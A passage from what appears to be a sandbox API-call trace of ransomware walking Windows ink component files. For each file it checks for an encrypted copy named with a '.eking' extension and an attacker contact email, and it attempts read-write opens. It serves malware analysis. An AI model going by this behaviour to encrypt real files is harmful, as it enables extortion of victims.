Shared\\ink\\sk-SK\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.832] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0167.833] ResetEvent (hEvent=0x178) returned 1 [0167.833] SetEvent (hEvent=0x17c) returned 1 [0167.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0167.834] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0167.834] CloseHandle (hObject=0x1e8) returned 1 [0167.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0167.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0167.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.835] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0167.836] ResetEvent (hEvent=0x178) returned 1 [0167.836] SetEvent (hEvent=0x17c) returned 1 [0167.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0167.837] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0167.837] CloseHandle (hObject=0x1e8) returned 1 [0167.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui")) returned 0x20 [0167.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui")) returned 0x20 [0167.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.838] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0167.839] ResetEvent (hEvent=0x178) returned 1 [0167.839] SetEvent (hEvent=0x17c) returned 1 [0167.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0167.840] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0167.840] CloseHandle (hObject=0x1e8) returned 1 [0167.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0167.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0167.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.841] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0167.842] ResetEvent (hEvent=0x178) returned 1 [0167.842] SetEvent (hEvent=0x17c) returned 1 [0167.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.079] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=40448) returned 1 [0169.079] CloseHandle (hObject=0x1ec) returned 1 [0169.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0169.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0169.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.081] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=448000) returned 1 [0169.081] CloseHandle (hObject=0x1ec) returned 1 [0169.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0169.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0169.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.083] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=224256) returned 1 [0169.083] CloseHandle (hObject=0x1ec) returned 1 [0169.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0169.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0169.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.085] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0169.085] CloseHandle (hObject=0x1ec) returned 1 [0169.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0169.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0169.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.086] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=110592) returned 1 [0169.086] CloseHandle (hObject=0x1ec) returned 1 [0169.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll")) returned 0x20 [0169.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll")) returned 0x20 [0169.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.087] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=544768) returned 1 [0169.087] CloseHandle (hObject=0x1ec) returned 1 [0169.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0169.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0169.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.088] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=12288) returned 1 [0169.088] CloseHandle (hObject=0x1ec) returned 1 [0169.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0169.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0169.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.089] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1246720) returned 1 [0169.089] CloseHandle (hObject=0x1ec) returned 1 [0169.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0169.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0169.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.093] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=503296) returned 1 [0169.093] CloseHandle (hObject=0x1ec) returned 1 [0169.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0169.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0169.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.094] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=101376) returned 1 [0169.094] CloseHandle (hObject=0x1ec) returned 1 [0169.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0169.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0169.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.095] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4096) returned 1 [0169.095] CloseHandle (hObject=0x1ec) returned 1 [0169.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0169.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0169.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.096] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0169.096] CloseHandle (hObject=0x1ec) returned 1 [0169.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0169.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0169.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 